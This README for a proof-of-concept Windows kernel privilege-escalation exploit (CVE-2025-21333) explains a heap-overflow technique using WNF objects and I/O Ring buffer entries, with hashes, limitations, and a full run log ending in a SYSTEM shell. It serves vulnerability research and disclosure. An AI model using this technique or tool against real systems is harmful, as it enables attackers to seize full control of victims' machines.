# CVE-2025-21333-POC Proof of Concept that exploits [CVE-2025-21333](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21333) in vkrnlintvsp.sys (not so reliable see Requirements and Limitations section). Under the References section are located very helpful resources for who wants to play with the exploit. The vulnerability was detected as actively exploited by threat actors. Tested on **Windows 11 23h2**. It may work also on **Windows 11 24h2** but I didn't test it. Below the hash of the ntoskrnl.exe and vkrnlintvsp.sys that were used to test the POC. ``` PS C:\Windows\System32\drivers> get-filehash .\vkrnlintvsp.sys Algorithm Hash Path --------- ---- ---- SHA256 28948C65EF108AA5B43E3D10EE7EA7602AEBA0245305796A84B4F9DBDEDDDF77 C:\Windows\System32\drivers\v... PS C:\Windows\System32\drivers> ``` ``` PS C:\Windows\System32> Get-FileHash ntoskrnl.exe Algorithm Hash Path --------- ---- ---- SHA256 999C51D12CDF17A57054068D909E88E1587A9A715F15E0DE9E32F4AA4875C473 C:\Windows\System32\ntoskrnl.exe PS C:\Windows\System32> ``` ## Overwriting I/O Ring buffer entry to get arbitrary read/write It doesn't use NtQuerySystemInformation to leak kernel addresses nor PreviousMode to get arbitrary read/write. Instead, It allocates in the Paged Pool an array of pointers to [_IOP_MC_BUFFER_ENTRY](https://www.vergiliusproject.com/kernels/x64/windows-11/23h2/_IOP_MC_BUFFER_ENTRY) and overwrites the first pointer with a malicious IOP_MC_BUFFER_ENTRY* located in user-space. Using _BuildIoRingWriteFile()_/_BuildIoRingReadFile()_ It is possible to obtain arbitrary read/write in the kernel. The array of pointers to __IOP_MC_BUFFER_ENTRY_ is an object with PoolTag **IrRB**. The technique slightly differs from the one documented by Yarden Shafir [here](https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/). Instead of taking control of the entire array pointed by _IORING_OBJECT.RegBuffers, the technique takes control **only of one entry** in the array pointed by _IORING_OBJECT.RegBuffers. Since the size of the array of pointers is controllable by the user, this means It can be used to obtain reliable arbitrary read/write in ring0 starting from heap-overflows and UAFs for multiple LFH buckets. I don't know if someone already shared this technique to exploit overflows or UAFs in the paged pool. These screenshot were taken after executing the poc. The overflow was in the bucket for object size 0x50. Notice It was possible to allocate a RegBuffers array in that bucket and the first pointer points to user-space memory. ![image](https://github.com/user-attachments/assets/debfb4ce-755d-479f-9428-a69466c4b38c) Notice the malicious entry sets the _Address_ to a process object. _Address_ corresponds to the arbitrary address that we may want to read from/write to (this already well described by Yarden Shafir's article). ![image](https://github.com/user-attachments/assets/e5d8ea28-501d-4d7e-83a7-e140e6762c89) ## Requirements and Limitations It is necessary to turn on the **windows sandbox feature** so that the vulnerable syscalls are handled by the vulnerable driver. ![image](https://github.com/user-attachments/assets/7becbeab-446d-4f65-9761-fdd51eea4f61) I managed to get an **overflow of 0xfff0 bytes**. I didn't manage to make the overflow length fully controllable. You can see a **crash if the overflow is bigger than the subsegment** (It may happen quite often). Maybe by spraying more objects It is possible to minimize this behavior. The poc frees 2 WNF state data to reallocate in that positions a regBuffer (an array of pointers to [_IOP_MC_BUFFER_ENTRY](https://www.vergiliusproject.com/kernels/x64/windows-11/23h2/_IOP_MC_BUFFER_ENTRY)associated to an IORING_OBJECT) and a PipeAttribute. Sometimes, between the free and the realloc, It may happen that another object is allocated in that position by another driver. It would be possible to use other corrupted WNF state data objects in a while loop to perform multiple reallocation attempts and increase the possibility to have the desired layout. The poc code is quite messy. After getting system It is better to **exit from the system shell typing `exit` in the console** otherwise the **machine will crash**. ## Compile and Run Compile x64 Release version. Run and get a system shell. ``` PS C:\Users\unpriv> .\CVE-2025-21333-POC.exe Preparing... [*] fNtCreateCrossVmEvent = 00007FFD6BC31690 [*] fNtQueryInformationProcess = 00007FFD6BC304E0 [!] WindowsSandboxClient.exe process not found [*] spawning windows sandbox [*] CreateProcessA returned successfully [*] NtQueryInformationProcess returned successfully [*] peb_addr = 0000000100335000 [*] ReadProcessMemory returned successfully [*] ProcessParameters = 00000147B06A6430 [*] ReadProcessMemory returned successfully [*] CommandLine = 00000147B06A6ADA [*] CommandLine_size = 3f0 [*] commandline = C:\Windows\system32\WindowsSandboxClient.exe 19a1ef14-ee35-47d8-8bdb-cf4c86272272WDAGUtilityAccount66387310-a27d-4a59-a688-3ab018388c9etruetruetruefalsefalse0 [*] extracted guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272 [*] s_guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272 Created GUID extracted guid 0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72 ....5..G...L.'"r guid 0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72 ....5..G...L.'"r Triggering vuln creating crossvmevent... max corrupted WNF state: a18d294541c64e6d val: 0 dataSize: 10040 calling NtqueryWnfStateData on max_corrupted with max_corrupted->state a18d2945a18d2945 and datasize10040 buffer content [+] found WNF to be freed and replaced with RegBuffers offset 30 [+] found WNF to be freed and replaced with PipeAttribute offset2 80 updating regBuffersControllerWNF calling NtUpdateWnfStateData on tokenReaderWNF->state a18d2945a18d2945 and datasize10040 calling NtUpdateWnfStateData returned successfully [*] retrieving WNF with content 0x4343434343434343 [*] retrieving WNF with content 0x4444444444444444 searching in statenames2 found corrupted WNF: a18d514541c64e6dval: 4343434343434343 found corrupted WNF: a18d614541c64e6dval: 4444444444444444 found1 1 found2 1 found1 1 found2 1 found1 1 found2 1 0x000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x000030: 00 00 05 0b 49 72 52 42 64 b9 76 d3 e4 ff d1 c6 ....IrRBd.v..... 0x000040: a0 a1 b1 f1 09 e3 ff ff 00 00 00 00 00 00 00 00 ................ 0x000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x000080: 00 00 05 03 4e 70 41 74 00 00 00 00 00 00 00 00 ....NpAt........ 0x000090: d0 01 2b 47 0a d1 ff ff d0 01 2b 47 0a d1 ff ff ..+G......+G.... 0x0000a0: 38 81 2a 4d 0a d1 ff ff 16 00 00 00 00 00 00 00 8.*M............ 0x0000b0: 3a 81 2a 4d 0a d1 ff ff 5a 00 41 41 41 41 41 41 :.*M....Z.AAAAAA 0x0000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0x0000d0: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42 ....Wnf BBBBBBBB 0x0000e0: 00 00 00 00 50 ff 00 00 50 ff 00 00 01 00 00 00 ....P...P....... 0x0000f0: 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x000120: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42 ....Wnf BBBBBBBB 0x000130: 00 00 00 00 00 ff 00 00 00 ff 00 00 01 00 00 00 ................ 0x000140: 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ [+] regBuffers found and can be overwritten [+] pipeAttribute found and can be read [*] original_regBufferEntry: ffffe309f1b1a1a0 [*] pipeAttributeFlink: ffffd10a472b01d0 [+] found target handle [*] targetHandle: 00000211216BC4D0 [*] ioring index: 425 [*] fileObject: ffffe309f134d7e0 [*] base of npfs.sys: fffff80631660000 [*] base of ntoskrnl.exe: fffff80628c00000 [*] system EPROCESS: ffffe309ea4c2040 [*] system TOKEN: ffffd10a3a246040 [*] curpid: 21c8 Microsoft Windows [Version 10.0.22631.4460] (c) Microsoft Corporation. All rights reserved. C:\Users\unpriv>whoami nt authority\system C:\Users\unpriv>exit calling NtUpdateWnfStateData returned successfully PS C:\Users\unpriv> ``` ## References * https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf * https://www.nccgroup.com/us/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/ * https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/ ## Acknowledgements * [@cbayet](https://x.com/onlytheduck) * [@paulfariello](https://x.com/paulfariello) * [@alexjplaskett](https://x.com/alexjplaskett) * [@yarden_shafir](https://x.com/yarden_shafir) * [@InfosecIITR](https://x.com/InfoSecIITR)